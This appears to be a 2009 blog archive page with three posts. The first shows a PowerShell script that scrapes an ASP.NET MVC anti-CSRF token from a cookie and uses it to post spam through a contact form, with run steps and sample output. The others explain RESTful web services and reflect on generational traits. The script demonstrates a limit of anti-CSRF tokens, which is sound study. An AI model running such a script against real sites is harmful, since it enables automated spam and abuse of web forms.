Archive for December, 2009

Hacking Anti Cross-site Request Forgery Tokens (CSRF) With Powershell

December 16th, 2009

I ported the example of how to hack an Anti CRSF Token protected form - previously shown in my post What Are Anti Cross-site Request Forgery Tokens And What Are They Good For? - to PowerShell.

How to hack an Anti CRSF Token from PowerShell

  1. function global:spam-adamdotcom(){
  3.   # Load the assembly containing WebClientWithCookies and RegexUtilities
  4.   [Reflection.Assembly]::LoadFile((Resolve-Path "AdamDotCom.WebClientWithCookies.dll")) | out-null
  6.   # Load the assembly containing System.Web.HttpUtilitiy
  7.   [void][Reflection.Assembly]::LoadWithPartialName("System.Web") | out-null 
  9.   # create a new instance of the HTTP Web Client that supports cookies
  10.   $webClient = New-Object AdamDotCom.Common.Service.Utilities.WebClientWithCookies
  12.   # download the page that contains the Anti CRSF Token
  13.   [void] $webClient.DownloadData("");
  15.   # use a regular expression to grab the Anti CRSF Token
  16.   #  - this is an MVC site so we're looking for a token named "__RequestVerificationToken_Lw__"
  17.   $regex = "__RequestVerificationToken_Lw__=(?<CRSF_Token>[^;]+)"
  18.   $match = [regex]::matches($webClient.ResponseHeaders["Set-Cookie"], $regex)[0]
  19.   $antiCrsfToken = $match.Groups["CRSF_Token"].Captures[0].Value
  21.   write-host "`nYour Anti CRSF Token is: " $antiCrsfToken
  23.   # construct the message including the Anti CSRF Token
  24.   $message = "__RequestVerificationToken=" + [System.Web.HttpUtility]::UrlEncode($antiCrsfToken) +
  25.              "&amp;fromName=Johnathon Fink" +
  26.              "&amp;" +
  27.              "&amp;subject=Call for your diploma now" +
  28.              "&amp;body=Is your lack of a degree..."
  30.   # send spam-spam-spam
  31.   $webClient.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
  32.   [void] $webClient.UploadData("", "POST",
  33.                               ([System.Text.Encoding]::UTF8.GetBytes($message)));
  35.   write-host "`nSuccess!!! Your spam has been sent.`n"
  36. }

To run this script:

  1. Download the script
  2. Run PowerShell
  3. Load the script: .\Automated-AntiCSRF-Authentication-Script.ps1
  4. Start sending spam-spam-spam: PS > spam-adamdotcom

Here's the output as seen on my machine:

  1. PS C:\> .\Automated-AntiCSRF-Authentication-Script.ps1
  2. PS C:\> spam-adamdotcom
  4. Your Anti CRSF Token is:  f54ZlHS3L1Xyl65dYd1uYYh90ygNKYmCswXJUnr0GYtgcrJdJILsQ2jyFotzc10L
  6. Success!!! Your spam has been sent.

This example uses a derivation of the .NET Framework's Web Client class but with Cookies enabled, so it depends on the AdamDotCom.Common.Service.dll assembly (browse the source here). This dependency can be automatically resolved by issuing the download-client function that's also found within the PowerShell script.

Contribute, view, or download the openly available script here: Automated-AntiCSRF-Authentication-Script.ps1

Author: Adam Kahtava Categories: .NET, ASP.NET MVC, PowerShell Tags:

RESTful Web Services: What Are They?

December 4th, 2009

RESTful web services are all the rage these days, and for good reason. Many web based MVC frameworks depend on REST. Here's a crash course on what RESTful web services are and aren't.

REST stands for Representational state transfer. REST is not an architecture, instead it's a set of design criteria. RESTfulness and RESTful web service try to make use of the full gambit of HTTP Methods (GET, PUT, POST, DELETE, OPTIONS, and HEAD), and try to expose every resource or operation in a meaningful URI / URL. RESTful web services are intuitive, and work similar to the way the human web works (meaningful semantic data is returned to the client, resources link to other resources, microformats are employed, and so on).

Qualities associated with RESTfulness:

  • RESTful is the the way the human web works - where the data returned by services can be easily understood by humans (or robots) and usually contain links to other resources
  • RESTful web services use varying response formats. Common formats include: XHTML pages, XHTML microformats, JSON, XML, ad-hoc HTML, JavaScript, or build your own
  • RESTful web services depend on meaningful URIs. These URIs can contain scoping information, but shouldn't contain query requests. For example: when searching for 'kumquat' on Google you're redirected to where your search query is present in the URI. Whereas a URI like specifies the search parameters within the URI - this is not recommended as it implies some predictability, search results are unpredictable
  • RESTful web services also use query variables as inputs to algorithms
  • RESTful web services expose a URI for every piece of data the client may want to operate on
  • RESTful web services make use of HTTP methods (GET, PUT, POST, DELETE, OPTIONS, and HEAD)
  • RESTful web services don't keep the state on the server (that's the client's job), they don't like cookies, and don't like sessions
  • RESTful web services make use of HTTP Headers

Examples of RESTful web services:

Qualities that are not RESTful:

  • Most SOAP or other RPC-Style Architectures where XML messages are placed in the HTTP Body
  • Frameworks that depend heavily on overloaded POSTs and XML (See Safety, Idempotence, and the Resource-Oriented Architecture for more information)
  • Most big corporate web service frameworks are not RESTful. Some frameworks like WCF try to provide REST like functionality on top of a SOAP based API, but these add-ons can be obtuse and unRESTful.

Examples of unRESTful web services:

The growing popularity of web based MVC frameworks is providing a welcomed push towards RESTfulness and the simplicity that it brings, because working with the grain of the web (REST) makes life simpler and more semantically meaningful too. If you want to learn more about RESTful web services then check out Restful Web Services by Leonard Richardson and Sam Ruby.

Author: Adam Kahtava Categories: ASP.NET MVC, RESTful, Services, WCF Tags:

Ramblings From Another Generation X / Y / Millennial

December 1st, 2009

Like a straight 'A' student you'll find me upfront and center, pencil in hand, when someone describes the traits of my demographic group. I fall somewhere in the Generation XY / Millennial demographic group (the boundary varies widely depending on what source you cite). I mean let's face it, who doesn't like to read about how our droogs are perceived? Wait a ... this could be another manifestation of Generation X / Y / Millennial narcissism others have been writing about. Crap!

When hearing about the traits of our demographic group, I question how unique the traits associated with our group are. It seems that these traits could be common knowledge to smart people everywhere (regardless of demographic segmentation), but then again, this could be my squeaky Generation X / Y / Millennial voice discounting the other demographics (yet again).

I thought Andy Hunt had an accurate description for our demographic:

[Generation Xers are] free agents, with an inherent distrust of institutions ... Fiercely individualistic, and perhaps a bit on the dark side, they'll just quit and move on if there's a problem at work. They resist being labeled at all costs ... They are quite pragmatic, working for a positive outcome regardless of any particular ideology or approach. - Pragmatic Thinking and Learning: Refactor Your Wetware

I'd agree, an inherent distrust of institutions is a common trait in our demographic. It could be that we're immature and this tendency could wane as we grow older, or it could be a permanent scar stemming from our observations - many of us watched our elders (some with perceived jobs-for-life) jaded and unemployed in the 80's, then living through the uncertainly that prevailed in the following years.

Others have mentioned that we:

would prefer to work for companies that give them opportunities to contribute their talents to nonprofit organizations. - Volunteering as a Benefit

But then again, who wouldn't like to work for company that encouraged contributions to nonprofits and pet projects?

Yet others have noted that we:

demand to be communicated to in a direct, honest and transparent way ... are "'immediate driven" and quite keen to live their lives right now, rather than adhering to the old Protestant work ethic that suggests you can only reap the rewards of life after you have worked hard and basically sold your soul to your employer. - How to turn on Generation Y

Yup, that sounds fair. We expect transparency in the age of information. Continuing with that thought, it's also been said that:

[we] view time as a currency ... not to be wasted ... They want to get the job done, then put it behind them and enjoy life. - Retaining youth

Again, seems a bit obvious. We're not lazy, but we've seen our elders do a lot of weird stuff as they go through their midlife crisis - maybe if they didn't put off living in the name of work they would have maintained more sanity.

It's also been said that we:

prefer to dress as casual as possible and work with mobile gadgets or laptops in comfortable, creative spaces. - CareerNews: Tuesday, May 22, 2007

What demographic group doesn't like to be comfortable while working? Our attire should be an extension of workplace ergonomics - we're told to lift heavy object with your legs (not your back), and use ergonomically correct equipment. Wearing comfortable clothes and using gadgets should be a natural extension. :)

In general, I think our generation strives to work smarter (not necessarily longer hours), we try to atain a healthy work-life balance, and a number of us value experiences over owning stuff. I think smart people from other demographics have been doing the same things for years, but what do I know, I'm just another Generation X / Y / Millennial.

Author: Adam Kahtava Categories: Musings Tags: